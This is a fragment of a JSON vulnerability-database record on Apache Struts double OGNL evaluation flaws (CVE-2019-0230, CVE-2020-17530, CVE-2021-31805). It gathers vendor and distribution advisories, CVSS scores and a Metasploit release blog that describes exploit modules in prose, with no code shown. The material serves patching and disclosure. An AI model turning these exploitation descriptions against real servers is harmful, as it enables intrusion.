false}, "cvelist": ["CVE-2019-0230"], "modified": "2020-11-27T00:00:00", "id": "SAINT:1126B0AA9A8BD987E404F1746F1D8BFA", "href": "https://my.saintcorporation.com/cgi-bin/exploit_info/struts_double_ognl", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2023-12-07T16:55:07", "description": "Added: 11/27/2020 \nCVE: [CVE-2019-0230](<https://vulners.com/cve/CVE-2019-0230>) \n\n\n### Background\n\nApache Struts is an open-source web application framework for developing Java EE web applications. It uses and extends the Java Servlet API to encourage developers to adopt a model-view-controller (MVC) architecture. \n\nStruts uses Object-Graph Navigation Language (OGNL) to provide extensive expression evaluation capabilities. \n\n### Problem\n\nApache Struts can be forced to use double OGNL evaluation, which could allow a remote attacker to execute arbitrary code by sending a specially crafted request. \n\n### Resolution\n\n[Upgrade](<http://struts.apache.org/download.cgi#struts23151>) to Struts 2.5.22 or higher. \n\n### References\n\n<https://cwiki.apache.org/confluence/display/ww/s2-059> \n\n\n### Limitations\n\ncurl must be installed on the target for this exploit to succeed. \n\n### Platforms\n\nLinux \n \n\n", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2020-11-27T00:00:00", "type": "saint", "title": "Apache Struts double OGNL evaluation", "bulletinFamily": "exploit", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 7.5, "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2019-0230"], "modified": "2020-11-27T00:00:00", "id": "SAINT:891A42933A0DE986694E3B7D51B3F2F1", "href": "https://download.saintcorporation.com/cgi-bin/exploit_info/struts_double_ognl", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}], "osv": [{"lastseen": "2023-04-11T01:35:21", "description": "Forced OGNL evaluation, when evaluated on raw user input in tag attributes, may lead to remote code execution.", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2022-02-09T22:51:56", "type": "osv", "title": "Remote code execution in Apache Struts", "bulletinFamily": "software", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 7.5, "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2020-17530"], "modified": "2023-04-11T01:35:18", "id": "OSV:GHSA-JC35-Q369-45PV", "href": "https://osv.dev/vulnerability/GHSA-jc35-q369-45pv", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2023-03-28T05:08:41", "description": "Apache Struts 2.0.0 to 2.5.20 forced double OGNL evaluation, when evaluated on raw user input in tag attributes, may lead to remote code execution.", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2021-12-02T14:50:51", "type": "osv", "title": "Improperly Controlled Modification of Dynamically-Determined Object Attributes in Apache Struts", "bulletinFamily": "software", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 7.5, "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2019-0230"], "modified": "2023-03-28T05:08:35", "id": "OSV:GHSA-WP4H-PVGW-5727", "href": "https://osv.dev/vulnerability/GHSA-wp4h-pvgw-5727", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2023-04-11T01:25:45", "description": "The fix issued for CVE-2020-17530 was incomplete. So from Apache Struts 2.0.0 to 2.5.29, still some of the tag\u2019s attributes could perform a double evaluation if a developer applied forced OGNL evaluation by using the %{...} syntax. Using forced OGNL evaluation on untrusted user input can lead to a Remote Code Execution and security degradation.", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2022-04-13T00:00:30", "type": "osv", "title": "Expression Language Injection in Apache Struts", "bulletinFamily": "software", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 7.5, "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2020-17530", "CVE-2021-31805"], "modified": "2023-04-11T01:25:42", "id": "OSV:GHSA-V8J6-6C2R-R27C", "href": "https://osv.dev/vulnerability/GHSA-v8j6-6c2r-r27c", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}], "jvn": [{"lastseen": "2023-12-06T15:45:20", "description": "Apache Struts 2 provided by The Apache Software Foundation contains a remote code execution vulnerability due to improper input validation ([CWE-20](<https://cwe.mitre.org/data/definitions/20.html>)).\n\n ## Impact\n\nA remote attacker may execute arbitrary code.\n\n ## Solution\n\n**Update the software** \nUpdate the software to the latest version according to the information provided by the developer. \n \n**Apply the workaround** \nDo not use forced OGNL evaluation in the tag's attributes based on untrusted/unvalidated user input. \nThe developer reccomends the users to follow the recommendations from the [Security Guide](<https://struts.apache.org/security/#do-not-use-incoming-untrusted-user-input-in-forced-expression-evaluation>).\n\n ## Products Affected\n\n * Apache Struts 2.0.0 to 2.5.25\n", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2020-12-11T00:00:00", "type": "jvn", "title": "JVN#43969166: Apache Struts 2 vulnerable to remote code execution (S2-061)", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 7.5, "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2020-17530"], "modified": "2022-04-18T00:00:00", "id": "JVN:43969166", "href": "http://jvn.jp/en/jp/JVN43969166/index.html", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}], "ubuntucve": [{"lastseen": "2023-12-07T14:13:47", "description": "Forced OGNL evaluation, when evaluated on raw user input in tag attributes,\nmay lead to remote code execution. Affected software : Apache Struts 2.0.0\n- Struts 2.5.25.", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2020-12-11T00:00:00", "type": "ubuntucve", "title": "CVE-2020-17530", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 7.5, "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2020-17530"], "modified": "2020-12-11T00:00:00", "id": "UB:CVE-2020-17530", "href": "https://ubuntu.com/security/CVE-2020-17530", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2023-12-06T14:22:57", "description": "Apache Struts 2.0.0 to 2.5.20 forced double OGNL evaluation, when evaluated\non raw user input in tag attributes, may lead to remote code execution.", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2020-09-14T00:00:00", "type": "ubuntucve", "title": "CVE-2019-0230", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 7.5, "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2019-0230"], "modified": "2020-09-14T00:00:00", "id": "UB:CVE-2019-0230", "href": "https://ubuntu.com/security/CVE-2019-0230", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2023-12-07T13:44:53", "description": "The fix issued for CVE-2020-17530 was incomplete. So from Apache Struts\n2.0.0 to 2.5.29, still some of the tag\u2019s attributes could perform a double\nevaluation if a developer applied forced OGNL evaluation by using the\n%{...} syntax. Using forced OGNL evaluation on untrusted user input can\nlead to a Remote Code Execution and security degradation.", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2022-04-12T00:00:00", "type": "ubuntucve", "title": "CVE-2021-31805", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 7.5, "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2020-17530", "CVE-2021-31805"], "modified": "2022-04-12T00:00:00", "id": "UB:CVE-2021-31805", "href": "https://ubuntu.com/security/CVE-2021-31805", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}], "huawei": [{"lastseen": "2023-12-07T20:15:05", "description": "The Apache Struts frameworks, when forced, performs double evaluation of attributes' values assigned to certain tags attributes such as id so it is possible to pass in a value that will be evaluated again when a tag's attributes will be rendered. With a carefully crafted request, this can lead to Remote Code Execution. The problem only applies when forcing OGNL evaluation inside a Struts tag attribute, when the expression to evaluate references raw, unvalidated input that an attacker is able to directly modify by crafting a corresponding request. (Vulnerability ID: HWPSIRT-2020-49789)\n\nThis vulnerability has been assigned a Common Vulnerabilities and Exposures (CVE) ID: CVE-2019-0230.\n\nHuawei has released software updates to fix this vulnerability. This advisory is available at the following link:\n\n[http://www.huawei.com/en/psirt/security-advisories/huawei-sa-20200902-01-struts2-en](<http://www.huawei.com/en/psirt/security-advisories/huawei-sa-20200902-01-struts2-en>)\n\n[](<http://www.huawei.com/en/psirt/security-advisories/huawei-sa-20200610-02-phone-en>)\n", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2020-09-02T00:00:00", "type": "huawei", "title": "Security Advisory - Remote Code Execution vulnerability in Apache Struts2", "bulletinFamily": "software", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 7.5, "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2019-0230"], "modified": "2021-02-10T00:00:00", "id": "HUAWEI-SA-20200902-01-STRUTS2", "href": "https://www.huawei.com/en/psirt/security-advisories/2020/huawei-sa-20200902-01-struts2-en", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}], "rapid7blog": [{"lastseen": "2021-01-08T22:48:37", "description": "## Struts2 Multi Eval OGNL RCE\n\n\n\nOur very own [zeroSteiner](<https://github.com/zeroSteiner>) added [`exploit/multi/http/struts2_multi_eval_ognl`](<https://github.com/rapid7/metasploit-framework/pull/14521>), which exploits Struts2 evaluating OGNL expressions in HTML attributes multiple times ([CVE-2019-0230](<https://attackerkb.com/topics/mcp2xl4Va9/cve-2019-0230?referrer=blog>) and [CVE-2020-17530](<https://attackerkb.com/topics/LdoHePCiRm/cve-2020-17530?referrer=blog>)). The [CVE-2019-0230](<https://attackerkb.com/topics/mcp2xl4Va9/cve-2019-0230?referrer=blog>) OGNL chain for remote code execution requires a one-time chain to enable the RCE gadget, which is handled automatically by the module. The OGNL gadget chain for [CVE-2020-17530](<https://attackerkb.com/topics/LdoHePCiRm/cve-2020-17530?referrer=blog>) will echo the command output. Both chains use a simple mathematical expression to ensure that evaluation occurs. These vulnerabilities are application dependent, and the user does need to know which CVE they are targeting. Setting the `NAME` parameter appropriately and using the check method to ensure evaluation takes place inside an HTML attribute are key to successful exploitation.\n\n## JuicyPotato-like Windows privilege escalation exploit\n\nExploit module [`exploits/windows/local/bits_ntlm_token_impersonation`](<https://github.com/rapid7/metasploit-framework/pull/14046>) was added by Metasploit contributor [C4ssandre](<https://github.com/C4ssandre>). It exploits BITS connecting to a local Windows Remote Management server (WinRM) at startup time. A fake WinRM server listening on port `5985` is started by a `DLL` loaded from a previous unprivileged meterpreter session. The fake server triggers BITS and then steals a `SYSTEM` token from the subsequent authentication request. The token is then used to start a new process and launch `powershell.exe` as the `SYSTEM` user. It downloads a malicious PowerShell script and executes it on a second local HTTP server, not writing any files to disk. The exploit is based on [decoder's PoC](<https://decoder.cloud/2019/12/06/we-thought-they-were-potatoes-but-they-were-beans/>). It has been successfully tested on Windows 10 (10.0 Build 19041) 32 bits.\n\n## Pulse Connect Secure Gzip RCE\n\nMetasploit contributor [h00die](<https://github.com/h00die>) added an [exploit](<https://github.com/rapid7/metasploit-framework/pull/14368>) that targets Pulse Connect Secure server version `9.1R8` and earlier. The vulnerability was originally discovered by the [NCC Group](<https://research.nccgroup.com/2020/10/26/technical-advisory-pulse-connect-secure-rce-via-uncontrolled-gzip-extraction-cve-2020-8260/>). It achieves authenticated remote code execution as `root` by uploading an encrypted config that contains an overwrite for a Perl template file. This module was made possible by [rxwx](<https://github.com/rxrx>), who shared the encryption code with the author. Admin credentials are required for successful `root` access. The module has been tested against server version `9.1R8`.\n\n## New modules (8)\n\n * [SpamTitan Unauthenticated RCE](<https://github.com/rapid7/metasploit-framework/pull/14330>) by [Christophe De La Fuente](<https://github.com/cdelafuente-r7>) and [Felipe Molina](<https://github.com/felmoltor>), which exploits [CVE-2020-11698](<https://attackerkb.com/topics/ZM17ZOD4ym/cve-2020-11698?referrer=blog>)\n * [Pulse Secure VPN gzip RCE](<https://github.com/rapid7/metasploit-framework/pull/14368>) by [David Cash](<https://research.nccgroup.com/author/dcashncc/>), [Richard Warren](<https://uk.linkedin.com/in/rich-warren-437a7841>), [Spencer McIntyre](<https://github.com/zeroSteiner>), and [h00die](<https://github.com/h00die>), which exploits [CVE-2020-8260](<https://attackerkb.com/topics/MToDzANCY4/cve-2020-8260?referrer=blog>)\n * [Apache Struts 2 Forced Multi OGNL Evaluation](<https://github.com/rapid7/metasploit-framework/pull/14521>) by [Alvaro Mu\u00f1oz](<https://github.com/pwntester>), Matthias Kaiser, [Spencer McIntyre](<https://github.com/zeroSteiner>), and [ka1n4t](<https://github.com/ka1n4t>), which exploits [CVE-2020-17530](<https://attackerkb.com/topics/LdoHePCiRm/cve-2020-17530?referrer=blog>) and [CVE-2019-0230](<https://attackerkb.com/topics/mcp2xl4Va9/cve-2019-0230?referrer=blog>)\n * [SYSTEM token impersonation through NTLM bits authentication on missing WinRM Service.](<https://github.com/rapid7/metasploit-framework/pull/14046>) by Andrea Pierini ([decoder](<https://github.com/decoder>)), Antonio Cocomazzi (splinter_code), [Cassandre](<https://github.com/C4ssandre>), and Roberto ([0xea31](<https://github.com/0xea31>))\n * [Shodan Host Port](<https://github.com/rapid7/metasploit-framework/pull/14429>) by [natto97](<https://github.com/natto97>)\n * [WordPress Duplicator File Read Vulnerability](<https://github.com/rapid7/metasploit-framework/pull/14497>) by Hoa Nguyen - SunCSR Team and Ramuel Gall, which exploits [CVE-2020-11738](<https://attackerkb.com/topics/judia21wRt/cve-2020-11738?referrer=blog>)\n * [WordPress Easy WP SMTP Password Reset](<https://github.com/rapid7/metasploit-framework/pull/14474>) by [h00die](<https://github.com/h00die>), which exploits [CVE-2020-35234](<https://attackerkb.com/topics/12eb7VUXHR/cve-2020-35234?referrer=blog>)\n * [WordPress Total Upkeep Unauthenticated Backup Downloader](<https://github.com/rapid7/metasploit-framework/pull/14568>) by Wadeek and [h00die](<https://github.com/h00die>)\n\n## Enhancements and features\n\n * PR [14566](<https://github.com/rapid7/metasploit-framework/pull/14566>) from [zeroSteiner](<https://github.com/zeroSteiner>) Module `auxiliary/server/socks_proxy` replaces `modules/auxiliary/server/socks4a.rb` and `modules/auxiliary/server/socks5.rb`.\n * PR [14538](<https://github.com/rapid7/metasploit-framework/pull/14538>) from [jmartin-r7](<https://github.com/jmartin-r7>) Improves Metasploit's XML importer error messages when data is not Base64 encoded.\n * PR [14528](<https://github.com/rapid7/metasploit-framework/pull/14528>) from [zeroSteiner](<https://github.com/zeroSteiner>) Clarifies Windows Meterpreter payloads description support of XP SP2 or newer.\n * PR [14522](<https://github.com/rapid7/metasploit-framework/pull/14522>) from [axxop](<https://github.com/axxop>) Replaces the hardcoded default Shiro encryption key with a new datastore option that allows users to specify rememberMe cookie encryption key.\n * PR [14517](<https://github.com/rapid7/metasploit-framework/pull/14517>) from [timwr](<https://github.com/timwr>) Changes the osx/x64/shell_reverse_tcp payload to be generated with Metasm and captures and sends STDERR to msfconsole.\n * PR [14509](<https://github.com/rapid7/metasploit-framework/pull/14509>) from [egypt](<https://github.com/egypt>) This adds a Java target to the Apache Solr RCE exploit module and fixes several payload issues.\n * PR [14444](<https://github.com/rapid7/metasploit-framework/pull/14444>) from [dwelch-r7](<https://github.com/dwelch-r7>) Adds a couple of missing methods from the remote data services for adding and deleting routes.\n\n## Bugs fixed\n\n * PR [14589](<https://github.com/rapid7/metasploit-framework/pull/14589>) from [timwr](<https://github.com/timwr>) Fixes a file download issue with the Android Meterpreter's download command.\n * PR [14532](<https://github.com/rapid7/metasploit-framework/pull/14532>) from [bcoles](<https://github.com/bcoles>) Fixes a NoMethodError exception caused by the Msf::Post::Common mixin not being included in post/android/capture/screen.\n * PR [14530](<https://github.com/rapid7/metasploit-framework/pull/14530>) from [jmartin-r7](<https://github.com/jmartin-r7>) Fixes a failing test on macOS caused by IPv6 vs IPv4 result precedence.\n * PR [14475](<https://github.com/rapid7/metasploit-framework/pull/14475>) from [dwelch-r7](<https://github.com/dwelch-r7>) Fixes the EICAR canary check.\n * PR [14334](<https://github.com/rapid7/metasploit-framework/pull/14334>) from [Summus-git](<https://github.com/Summus-git>) Fixes a x86 linux bind shell payloads socket closing bug.\n\n## Get it\n\nAs always, you can update to the latest Metasploit Framework with `msfupdate` \nand you can get more details on the changes since the last blog post from \nGitHub:\n\n * [Pull Requests 6.0.22...6.0.25](<https://github.com/rapid7/metasploit-framework/pulls?q=is:pr+merged:%222020-12-17T10%3A49%3A21-06%3A00..2021-01-07T10%3A58%3A16%2B00%3A00%22>)\n * [Full diff 6.0.22...6.0.25](<https://github.com/rapid7/metasploit-framework/compare/6.0.22...6.0.25>)\n\nIf you are a `git` user, you can clone the [Metasploit Framework repo](<https://github.com/rapid7/metasploit-framework>) (master branch) for the latest. \nTo install fresh without using git, you can use the open-source-only [Nightly Installers](<https://github.com/rapid7/metasploit-framework/wiki/Nightly-Installers>) or the \n[binary installers](<https://www.rapid7.com/products/metasploit/download.jsp>) (which also include the commercial edition).", "cvss3": {}, "published": "2021-01-08T19:54:36", "type": "rapid7blog", "title": "Metasploit Wrap-Up", "bulletinFamily": "info", "cvss2": {}, "cvelist": ["CVE-2019-0230", "CVE-2020-11698", "CVE-2020-11738", "CVE-2020-17530", "CVE-2020-35234", "CVE-2020-8260"], "modified": "2021-01-08T19:54:36", "id": "RAPID7BLOG:5482AC1594C82A230828023816657B57", "href": "https://blog.rapid7.com/2021/01/08/metasploit-wrap-up-93/", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}], "attackerkb": [{"lastseen": "2023-10-18T16:36:31", "description": "The fix issued for CVE-2020-17530 was incomplete. So from Apache Struts 2.0.0 to 2.5.29, still some of the tag\u2019s attributes could perform a double evaluation if a developer applied forced OGNL evaluation by using the %{\u2026} syntax. Using forced OGNL evaluation on untrusted user input can lead to a Remote Code Execution and security degradation.\n\n \n**Recent assessments:** \n \nAssessed Attacker Value: 0 \nAssessed Attacker Value: 0Assessed Attacker Value: 0\n", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2022-04-12T00:00:00", "type": "attackerkb", "title": "CVE-2021-31805", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 7.5, "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2020-17530", "CVE-2021-31805"], "modified": "2023-10-07T00:00:00", "id": "AKB:CB02764B-566F-4540-ACA2-C9DDEE8D1496", "href": "https://attackerkb.com/topics/v2k6fAErDS/cve-2021-31805", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2023-10-18T16:44:49", "description": "Apache Struts 2.0.0 to 2.5.20 forced double OGNL evaluation, when evaluated on raw user input in tag attributes, may lead to remote code execution.\n\n \n**Recent assessments:** \n \n**wvu-r7** at September 03, 2020 4:30pm UTC reported:\n\nUnlike [CVE-2017-5638](<https://attackerkb.com/topics/1MWtVe9P7w/cve-2017-5638>), which was exploitable out of the box, since it targeted Struts\u2019 Jakarta multipart parser, this vulnerability requires a certain set of circumstances to be true in order for Struts to be exploitable. Since Struts is a web application framework, this will depend entirely on the application the developers have created.\n\n**I don\u2019t know how common this particular scenario is.** Please read the [security bulletin](<https://cwiki.apache.org/confluence/display/WW/S2-059>) for more information. However, what I do know is that this CVE falls somewhere after [CVE-2017-5638](<https://attackerkb.com/topics/1MWtVe9P7w/cve-2017-5638>) and [CVE-2018-11776](<https://attackerkb.com/topics/jgIUjIdFUR/cve-2018-11776>) on the exploitability scale, from most exploitable to least: a parser flaw, a configuration flaw, and a programming flaw.\n\nSo, definitely patch this, but also follow Struts development best practices, including those outlined in their security bulletins. No measure of mitigations will protect you from poorly written code.\n\nAssessed Attacker Value: 5 \nAssessed Attacker Value: 5Assessed Attacker Value: 2\n", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "CHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 10.0, "vectorString": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H", "version": "3.0", "userInteraction": "NONE"}, "impactScore": 6.0}, "published": "2020-09-14T00:00:00", "type": "attackerkb", "title": "CVE-2019-0230", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 10.0, "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2017-5638", "CVE-2018-11776", "CVE-2019-0230"], "modified": "2023-10-07T00:00:00", "id": "AKB:289DC3CE-ED8A-4366-89F0-46E148584C36", "href": "https://attackerkb.com/topics/mcp2xl4Va9/cve-2019-0230", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}], "exploitdb": [{"lastseen": 